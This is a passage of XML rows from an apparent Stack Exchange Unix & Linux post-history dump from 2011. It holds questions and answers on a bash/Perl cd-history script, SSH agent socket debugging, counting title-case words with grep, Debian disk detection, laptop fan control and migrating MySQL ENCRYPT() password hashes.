&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27534" PostHistoryTypeId="2" PostId="11356" RevisionGUID="86391607-4bdc-43fc-ba03-09f7bc6313e9" CreationDate="2011-04-15T03:03:04.657" UserId="3169" Text="Try this in Gnome Terminal:&#xD;&#xA;&#xD;&#xA;    echo $SSH_AUTH_SOCK&#xD;&#xA;&#xD;&#xA;Then try the same in xterm.&#xD;&#xA;&#xD;&#xA;If it prints something for Gnome Terminal and not for xterm, you have to figure out why it's not set in xterm.  The answer depends on many variables.&#xD;&#xA;&#xD;&#xA;Here's what I'd try:&#xD;&#xA;&#xD;&#xA;Find out where it's set in Gnome Terminal.  It is usually in /etc/pam.d/gdm and your Gnome Session's Startup Applications, I think.&#xD;&#xA;&#xD;&#xA;Find out if something is clearing it in xterm.  For example, is xterm starting a login shell, but Gnome Terminal starting a non-login shell?  Are you running `ssh-agent` in your `~/.bashrc` or `~/.bash_profile` or similar startup script?&#xD;&#xA;&#xD;&#xA;What does `echo $0` print in each?  Does one have `-` at the start and the other not?  Do you have something like `xterm*loginShell: true` in your `~/.Xdefaults` or `~/.xresources`?  How are you running xterm?  Does it work if you change the xterm shortcut to not have the `-ls` flag?&#xD;&#xA;&#xD;&#xA;Try adding `echo` statements in your startup files to see where it's being changed." />
  <row Id="27535" PostHistoryTypeId="25" PostId="11348" RevisionGUID="e9e54f17-12ac-48b5-b33e-5c39d7e20382" CreationDate="2011-04-15T03:09:09.447" Comment="http://twitter.com/#!/StackUnix/status/58728539280769024" />
  <row Id="27536" PostHistoryTypeId="5" PostId="11320" RevisionGUID="a76d02b2-2fe2-4920-8c2f-6022bd74108e" CreationDate="2011-04-15T03:09:30.030" UserId="138" Comment="Can't be having sexist terminology in the UI, now can we?" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e $CDHISTFILE ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 $CDHISTFILE &gt; $cdht&#xD;&#xA;        mv $cdht $CDHISTFILE&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=$HOME ; else d=$1 ; fi&#xD;&#xA;        echo -e `date +%s`&quot;\t&quot;`readlink -f &quot;$d&quot;` &gt;&gt; $CDHISTFILE&#xD;&#xA;        'cd' $d&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick $f&#xD;&#xA;        if [ -r $f ] ; then cd `head -1 $f` ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;All of that is pretty trivial, and for the most part its behavior should be obvious to anyone who understands even basic shell programming. The only tricky bit is the `readline` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, O splendid one? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die &quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27537" PostHistoryTypeId="5" PostId="11356" RevisionGUID="73c98c87-0218-4142-ae03-9e6c37b2a20f" CreationDate="2011-04-15T03:11:07.913" UserId="3169" Comment="added 265 characters in body" Text="Try this in Gnome Terminal:&#xD;&#xA;&#xD;&#xA;    echo $SSH_AUTH_SOCK&#xD;&#xA;&#xD;&#xA;Then try the same in xterm.&#xD;&#xA;&#xD;&#xA;It should print something like&#xD;&#xA;&#xD;&#xA;    /tmp/keyring-abc123/ssh&#xD;&#xA;&#xD;&#xA;in both.&#xD;&#xA;&#xD;&#xA;I'm guessing it doesn't print something like that in xterm.&#xD;&#xA;&#xD;&#xA;If it's empty, something is clearing it (or not setting it).&#xD;&#xA;&#xD;&#xA;If looks more like&#xD;&#xA;&#xD;&#xA;    /tmp/ssh-defgh67890/agent&#xD;&#xA;&#xD;&#xA;then you have a conflict with ssh-agent.&#xD;&#xA;&#xD;&#xA;Here's what I'd try:&#xD;&#xA;&#xD;&#xA;Find out where it's set in Gnome Terminal.  It is usually in /etc/pam.d/gdm and your Gnome Session's Startup Applications, I think.&#xD;&#xA;&#xD;&#xA;Find out if something is clearing it or changing it in xterm.  For example, is xterm starting a login shell, but Gnome Terminal starting a non-login shell?  Are you running `ssh-agent` in your `~/.bashrc` or `~/.bash_profile` or similar startup script?&#xD;&#xA;&#xD;&#xA;What does `echo $0` print in each?  Does one have `-` at the start and the other not?  Do you have something like `xterm*loginShell: true` in your `~/.Xdefaults` or `~/.xresources`?  How are you running xterm?  Does it work if you change the xterm shortcut to not have the `-ls` flag?&#xD;&#xA;&#xD;&#xA;Try adding `echo` statements in your startup files to see where it's being changed.  Redirect the output to a log file using `echo $SSH_AUTH_SOCK &gt;&gt; ~/ssh-agent-debug.log` or similar." />
  <row Id="27538" PostHistoryTypeId="2" PostId="11357" RevisionGUID="8ac1d682-760a-43d9-97ff-a3149a06b8d3" CreationDate="2011-04-15T02:38:52.647" UserDisplayName="Corey Zahner" Text="I have been trying to install Debian Lenny on my new machine, alongside Windows 7 64-bit. When I get to the part where it detects my disks, it can't find any. I have a 1GB FAT32 flash drive that it detects if it is in, but it doesn't see my Hitachi drive or my USB Seagate. I partitioned a 100GB partition on the internal Hitachi drive as FAT32. Does anyone have any ideas?&#xD;&#xA;&#xD;&#xA;MOBO: Asus X58 Sabertooth&#xD;&#xA;HDD: Hitachi HDT721010SLA360 SCSI Disk Drive" />
  <row Id="27539" PostHistoryTypeId="1" PostId="11357" RevisionGUID="8ac1d682-760a-43d9-97ff-a3149a06b8d3" CreationDate="2011-04-15T02:38:52.647" UserDisplayName="Corey Zahner" Text="Debian Lenny on Asus sabertooth X58 won't detect hard drive" />
  <row Id="27540" PostHistoryTypeId="3" PostId="11357" RevisionGUID="8ac1d682-760a-43d9-97ff-a3149a06b8d3" CreationDate="2011-04-15T02:38:52.647" UserDisplayName="Corey Zahner" Text="élinuxàéinstallàédebianà" />
  <row Id="27541" PostHistoryTypeId="17" PostId="11357" RevisionGUID="95eb3fb1-1401-4e98-a18a-4536d8a6c625" CreationDate="2011-04-15T03:17:15.163" UserId="-1" Comment="from http://stackoverflow.com/questions/5671842/debian-lenny-on-asus-sabertooth-x58-wont-detect-hard-drive" Text="" />
  <row Id="27542" PostHistoryTypeId="5" PostId="11356" RevisionGUID="dd6f1a38-833a-4beb-89b1-f33b043decf4" CreationDate="2011-04-15T03:27:36.720" UserId="3169" Comment="added 429 characters in body" Text="Are you running xterm from inside your Gnome session as well?&#xD;&#xA;&#xD;&#xA;Try this in Gnome Terminal:&#xD;&#xA;&#xD;&#xA;    echo $SSH_AUTH_SOCK&#xD;&#xA;&#xD;&#xA;Then try the same in xterm.&#xD;&#xA;&#xD;&#xA;It should print something like&#xD;&#xA;&#xD;&#xA;    /tmp/keyring-abc123/ssh&#xD;&#xA;&#xD;&#xA;in both.&#xD;&#xA;&#xD;&#xA;I'm guessing it doesn't print something like that in xterm.&#xD;&#xA;&#xD;&#xA;If it's empty, something is clearing it (or not setting it).&#xD;&#xA;&#xD;&#xA;If looks more like&#xD;&#xA;&#xD;&#xA;    /tmp/ssh-defgh67890/agent&#xD;&#xA;&#xD;&#xA;then you are also running ssh-agent somewhere, which will get confusing.&#xD;&#xA;&#xD;&#xA;Here's what I'd try:&#xD;&#xA;&#xD;&#xA;Run `echo $0` in both.  Does one have `-` at the start and the other not?  &#xD;&#xA;&#xD;&#xA;If so, you are probably running ssh-agent in login shells, but not non-login shells.  Have a look in your `~/.bashrc` or `~/.bash_profile` or equivalent scripts and fix the problem.&#xD;&#xA;&#xD;&#xA;Or change whether xterm is started as a login shell:&#xD;&#xA;&#xD;&#xA;1. using `xterm*loginShell: true` or `xterm*loginShell: false` in your `~/.Xdefaults` or `~/.xresources`?&#xD;&#xA;2. by running `xterm -ls` or `xterm` (without `-ls`)&#xD;&#xA;&#xD;&#xA;Copy the setting you have for Gnome Terminal under Profile Preferences-&gt;Title and Command-&gt;Run command as a login shell.&#xD;&#xA;&#xD;&#xA;If that fails, try adding `echo` statements in your startup files.  You'll need to redirect the output to a log file using `echo $SSH_AUTH_SOCK &gt;&gt; ~/ssh-debug.log` or similar.&#xD;&#xA;&#xD;&#xA;Then log out and back in, and have a look at your `~/ssh-debug.log`.&#xD;&#xA;&#xD;&#xA;Then run Gnome Terminal and look at it again.&#xD;&#xA;&#xD;&#xA;Then run xterm and look and look at it again.&#xD;&#xA;&#xD;&#xA;Look for differences.&#xD;&#xA;&#xD;&#xA;Have a look at /etc/pam.d/gdm and System-&gt;Preferences-&gt;Startup Applications.  Do you have any other ssh-agent configuration anywhere in /etc/pam.d?&#xD;&#xA;&#xD;&#xA;Have a look `/etc/X11/Xsession` and the scripts that it calls." />
  <row Id="27543" PostHistoryTypeId="2" PostId="11358" RevisionGUID="c61d5fe8-b6e2-4baf-ac22-1978bdc081a9" CreationDate="2011-04-15T04:26:15.847" UserId="6606" Text="a shell script in unix/linux to find the lines number of a text file are having words which are 5 to 10 character long and having first letter as a capital letter" />
  <row Id="27544" PostHistoryTypeId="1" PostId="11358" RevisionGUID="c61d5fe8-b6e2-4baf-ac22-1978bdc081a9" CreationDate="2011-04-15T04:26:15.847" UserId="6606" Text="a shell script in unix/linux" />
  <row Id="27545" PostHistoryTypeId="3" PostId="11358" RevisionGUID="c61d5fe8-b6e2-4baf-ac22-1978bdc081a9" CreationDate="2011-04-15T04:26:15.847" UserId="6606" Text="élinuxà" />
  <row Id="27546" PostHistoryTypeId="2" PostId="11359" RevisionGUID="1da49d7f-c399-47f2-8e70-84b9141a6061" CreationDate="2011-04-15T04:49:59.507" UserId="6607" Text="That's not a question, but here's the answer anyway:&#xD;&#xA;&#xD;&#xA;    grep -e '\&lt;[[:upper:]][[:alpha:]]\{4,9\}\&gt;' file|wc -l" />
  <row Id="27547" PostHistoryTypeId="5" PostId="11358" RevisionGUID="b63f2bca-eaa5-4fb2-b5c9-678626511702" CreationDate="2011-04-15T05:02:11.600" UserId="1207" Comment="changed post into a question, added a descriptive title" Text="How can I create a shell script in unix/linux to find the number of lines in a text file that have words which are 5 to 10 character long and begin with a capital letter?" />
  <row Id="27548" PostHistoryTypeId="4" PostId="11358" RevisionGUID="b63f2bca-eaa5-4fb2-b5c9-678626511702" CreationDate="2011-04-15T05:02:11.600" UserId="1207" Comment="changed post into a question, added a descriptive title" Text="How can I count lines with title-case words of certain length?" />
  <row Id="27549" PostHistoryTypeId="6" PostId="11358" RevisionGUID="b63f2bca-eaa5-4fb2-b5c9-678626511702" CreationDate="2011-04-15T05:02:11.600" UserId="1207" Comment="changed post into a question, added a descriptive title" Text="élinuxàétextöprocessingà" />
  <row Id="27550" PostHistoryTypeId="2" PostId="11360" RevisionGUID="83403550-8176-4fe9-8900-bf2e8821dc89" CreationDate="2011-04-15T05:40:05.297" UserId="3082" Text="You need the device driver for your SCSI controller compiled into your kernel. Or, use an initrd with the driver in it. What kind of controller is it? Perhaps it's too new to even have a driver. " />
  <row Id="27551" PostHistoryTypeId="25" PostId="11358" RevisionGUID="665c5128-3fa7-4d7f-88da-c352d56f323a" CreationDate="2011-04-15T06:09:09.533" Comment="http://twitter.com/#!/StackUnix/status/58773838657363969" />
  <row Id="27552" PostHistoryTypeId="5" PostId="11314" RevisionGUID="39b9140b-6bd8-4aee-9264-97b2379bb96c" CreationDate="2011-04-15T06:20:23.030" UserId="6582" Comment="added 277 characters in body" Text="Because of a hardware issue i need to [migrate many virtual users][1] to a new machine. Their passwords stored in MySQL encrypted with &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html#function_encrypt&quot;&gt;`ENCRYPT`&lt;/a&gt; which using `crypt()`eventually.&#xD;&#xA;&#xD;&#xA;Maybe it's my fault but `salt` wasn't added when passwords were stored so they're totally random. My basic idea was to dump the database then import it. When i tried to store the same string in the same machine with `ENCRYPT` it gave me different results. Will users' passwords work on the new machine?&#xD;&#xA;&#xD;&#xA;Update on environment and encrypting method:&#xD;&#xA;&#xD;&#xA;* The old machine is running Debian Etch with MySQL 5.0&#xD;&#xA;* New machine will run Debian Squeeze with MySQL 5.1&#xD;&#xA;* The encrypting method is MySQL's default `ENCRYPT`&#xD;&#xA;* Salt wasn't added originally&#xD;&#xA;* I don't know the passwords&#xD;&#xA;&#xD;&#xA;Thank you for your feedback, fabrik&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/259523/migrate-live-server" />
  <row Id="27553" PostHistoryTypeId="2" PostId="11361" RevisionGUID="711fc842-ce68-4550-be39-a606cbb9828c" CreationDate="2011-04-15T06:21:09.710" UserId="1707" Text="![Error][1]&#xD;&#xA;&#xD;&#xA;I keep getting this error message each time I start GNOME, even though I created a new partition table on this drive, I formatted all the partitions, and created them again, and this just won't go away.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/KQ8Qx.png" />
  <row Id="27554" PostHistoryTypeId="1" PostId="11361" RevisionGUID="711fc842-ce68-4550-be39-a606cbb9828c" CreationDate="2011-04-15T06:21:09.710" UserId="1707" Text="Getting &quot;A hard disk may be failing&quot; on startup" />
  <row Id="27555" PostHistoryTypeId="3" PostId="11361" RevisionGUID="711fc842-ce68-4550-be39-a606cbb9828c" CreationDate="2011-04-15T06:21:09.710" UserId="1707" Text="éhardwareàéhardödiskà" />
  <row Id="27556" PostHistoryTypeId="2" PostId="11362" RevisionGUID="df25bae2-4e87-40f4-8f44-67b3935cd4fb" CreationDate="2011-04-15T06:26:20.207" UserId="2421" Text="Replace your hard drive?&#xD;&#xA;&#xD;&#xA;Did you click the icon for more information?  It sounds like your drive's [S.M.A.R.T.][1] firmware is reporting an imminent hardware failure.  Keep those backups up to date.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/S.M.A.R.T." />
  <row Id="27557" PostHistoryTypeId="2" PostId="11363" RevisionGUID="6096c9ec-5b62-40e5-9f1e-8859a580b384" CreationDate="2011-04-15T06:35:17.893" UserId="6610" Text="Hey Guys,&#xD;&#xA;I'm using KUBUNTU 10.10 I would like to use Wolfenstein: Enemy Territory for linux, I know this game is free, right?&#xD;&#xA;&#xD;&#xA;Please could someone give me the list of the last version of the game?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="27558" PostHistoryTypeId="1" PostId="11363" RevisionGUID="6096c9ec-5b62-40e5-9f1e-8859a580b384" CreationDate="2011-04-15T06:35:17.893" UserId="6610" Text="Where to donwload Wolfenstein: Enemy Territory for linux?" />
  <row Id="27559" PostHistoryTypeId="3" PostId="11363" RevisionGUID="6096c9ec-5b62-40e5-9f1e-8859a580b384" CreationDate="2011-04-15T06:35:17.893" UserId="6610" Text="élinuxàégamesà" />
  <row Id="27560" PostHistoryTypeId="2" PostId="11364" RevisionGUID="7338fa42-f31a-47e3-84e5-7b973999a900" CreationDate="2011-04-15T06:53:08.913" UserId="6603" Text="I'm setting up an OpenSuse web server and need to run CutyCapt and XVFB, but can't find either in any of the repositories.  I'm running OpenSuse 11.4 x64 with no desktop GUI.&#xD;&#xA;&#xD;&#xA;Any advice on where to start?" />
  <row Id="27561" PostHistoryTypeId="1" PostId="11364" RevisionGUID="7338fa42-f31a-47e3-84e5-7b973999a900" CreationDate="2011-04-15T06:53:08.913" UserId="6603" Text="Installing XVFB on Suse" />
  <row Id="27562" PostHistoryTypeId="3" PostId="11364" RevisionGUID="7338fa42-f31a-47e3-84e5-7b973999a900" CreationDate="2011-04-15T06:53:08.913" UserId="6603" Text="éopensuseàéxvfbà" />
  <row Id="27563" PostHistoryTypeId="2" PostId="11365" RevisionGUID="3e2ecd44-4d09-420b-97d7-47997426ddcd" CreationDate="2011-04-15T07:03:26.960" UserId="4293" Text="Take a look here, there's a whole tutorial on how to set it up under Ubuntu (including the download):&#xD;&#xA;&#xD;&#xA;https://help.ubuntu.com/community/EnemyTerritory" />
  <row Id="27564" PostHistoryTypeId="5" PostId="10971" RevisionGUID="121d1683-d11e-4a9b-bae5-b96ea2d39156" CreationDate="2011-04-15T07:23:32.267" UserId="6215" Comment="added 405 characters in body; deleted 83 characters in body" Text="Can you help me with finding **all** the **hardware information** (parameters) and **configuration files** about the **fan** in my laptop? &lt;br&gt;&#xD;&#xA;I'm interested of the fan's parameters and configuration files that I can edit and change those parameters to have the most possible control over the fan. I used `sudo lshw | grep fan` and it didn't find it.&lt;br&gt;I remember the sentence &quot;Everything in Unix is a file&quot; so there should be files with the information I'm looking for and commands that are able to extract the information from those files.&#xD;&#xA;&#xD;&#xA;[Here](http://pastebin.ubuntu.com/594074/) is the link to **sensors-detect** output ending with error message.&#xD;&#xA;&#xD;&#xA;Linux kernel communicate with the hardware, so part of the information could be pulled out from there?" />
  <row Id="27565" PostHistoryTypeId="5" PostId="11315" RevisionGUID="f07eba15-dee6-4d44-ab4e-a96c617d4b24" CreationDate="2011-04-15T07:30:51.487" UserId="5666" Comment="added 770 characters in body" Text="From the provided link to `ENCRYPT()`&#xD;&#xA;&#xD;&#xA;&gt; If no salt argument is given, a random&#xD;&#xA;&gt; value is used.&#xD;&#xA;&#xD;&#xA;`salt` is a 2 character string, saved in the beginning of the encrypted text. e.g. encrypting a string with salt='df', 'df' is in the start of the output product.&#xD;&#xA;&#xD;&#xA;    mysql&gt; SELECT ENCRYPT('hello','df');&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | ENCRYPT('hello','df') |&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | dfbVa429UeC0U         | &#xD;&#xA;    +-----------------------+&#xD;&#xA;    1 row in set (0.00 sec)&#xD;&#xA;&#xD;&#xA;Another example, no `salt`&#xD;&#xA;&#xD;&#xA;    mysql&gt; SELECT ENCRYPT('hello');&#xD;&#xA;    +------------------+&#xD;&#xA;    | ENCRYPT('hello') |&#xD;&#xA;    +------------------+&#xD;&#xA;    | oBSydDfeNx5ug    | &#xD;&#xA;    +------------------+&#xD;&#xA;    1 row in set (0.00 sec)&#xD;&#xA;&#xD;&#xA;Now use the first two characters of the previous string as `salt`&#xD;&#xA;&#xD;&#xA;    mysql&gt; SELECT ENCRYPT('hello','oB');&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | ENCRYPT('hello','oB') |&#xD;&#xA;    +-----------------------+&#xD;&#xA;    | oBSydDfeNx5ug         | &#xD;&#xA;    +-----------------------+&#xD;&#xA;    1 row in set (0.00 sec)&#xD;&#xA;&#xD;&#xA;Same output.&#xD;&#xA;&#xD;&#xA;You most probably won't have a problem, but just to be 100% sure (that crypt implementation is the same), create a test account on the old machine and migrate it to the new one. Check if the password works for both of them.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;`salt` is **ALWAYS** stored in the first letters of the password's encrypted string. There is **NO WAY** `salt` is lost, without `salt` users wouldn't be able to login in your old machine in the first place. You do not need to (and you shouldn't) know any passwords.&#xD;&#xA;&#xD;&#xA;If you're migrating from etch to squeeze, the most sensible way to go, is to setup a testing server with Debian Squeeze. You do not need hardware to do that, setup a VirtualBox guest for example. Then create a new user in your old machine and migrate his account to the testing machine. If the password works for both machines, then you 're good to go, it's the only way to be 99.9% sure. Testing migrations is a must anyway, you should worry about a lot more problems appearing in them.&#xD;&#xA;" />
  <row Id="27566" PostHistoryTypeId="5" PostId="10971" RevisionGUID="e6f2fe9d-5364-4740-a43b-0a9678bdf186" CreationDate="2011-04-15T07:36:51.637" UserId="6215" Comment="added 166 characters in body" Text="Can you help me with finding **all** the **hardware information** (parameters) and **configuration files** about the **fan** in my laptop? &lt;br&gt;&#xD;&#xA;I'm interested of the fan's parameters and configuration files that I can edit and change those parameters to have the most possible control over the fan. I used `sudo lshw | grep fan` and it didn't find it.&lt;br&gt;I remember the sentence &quot;Everything in Unix is a file&quot; so there should be files with the information I'm looking for and commands that are able to extract the information from those files.&#xD;&#xA;&#xD;&#xA;Linux kernel communicate with the hardware, so part of the information could be pulled out from there?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Here](http://pastebin.ubuntu.com/594074/) is the link to **sensors-detect** output ending with error message.&#xD;&#xA;&#xD;&#xA;    $ dmesg | grep fan&#xD;&#xA;    [    0.281316] fan PNP0C0B:00: registered as cooling_device0&#xD;&#xA;    [    0.281534] fan PNP0C0B:01: registered as cooling_device1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27567" PostHistoryTypeId="2" PostId="11366" RevisionGUID="de2004fa-72ad-4857-8ffe-6967d2632a5c" CreationDate="2011-04-15T07:39:24.757" UserId="5447" Text="You might want to take a look at this script, which controls the settings for your model of fan: http://electronpusher.org/~rachel/acerfand " />
  <row Id="27568" PostHistoryTypeId="5" PostId="10971" RevisionGUID="1810f977-7d5f-4076-b637-e09d79301c1c" CreationDate="2011-04-15T07:43:00.760" UserId="6215" Comment="added 176 characters in body" Text="Can you help me with finding **all** the **hardware information** (parameters) and **configuration files** about the **fan** in my laptop? &lt;br&gt;&#xD;&#xA;I'm interested of the fan's parameters and configuration files that I can edit and change those parameters to have the most possible control over the fan. I used `sudo lshw | grep fan` and it didn't find it.&lt;br&gt;I remember the sentence &quot;Everything in Unix is a file&quot; so there should be files with the information I'm looking for and commands that are able to extract the information from those files.&#xD;&#xA;&#xD;&#xA;Linux kernel communicate with the hardware, so part of the information could be pulled out from there?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Here](http://pastebin.ubuntu.com/594074/) is the link to **sensors-detect** output ending with error message.&#xD;&#xA;&#xD;&#xA;    $ dmesg | grep fan&#xD;&#xA;    [    0.281316] fan PNP0C0B:00: registered as cooling_device0&#xD;&#xA;    [    0.281534] fan PNP0C0B:01: registered as cooling_device1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In `/proc/acpi` there is a lot of information. What are the fan parameters I can control (state, speed, scheduling)? And where are the files that I can edit the fan parameters?" />
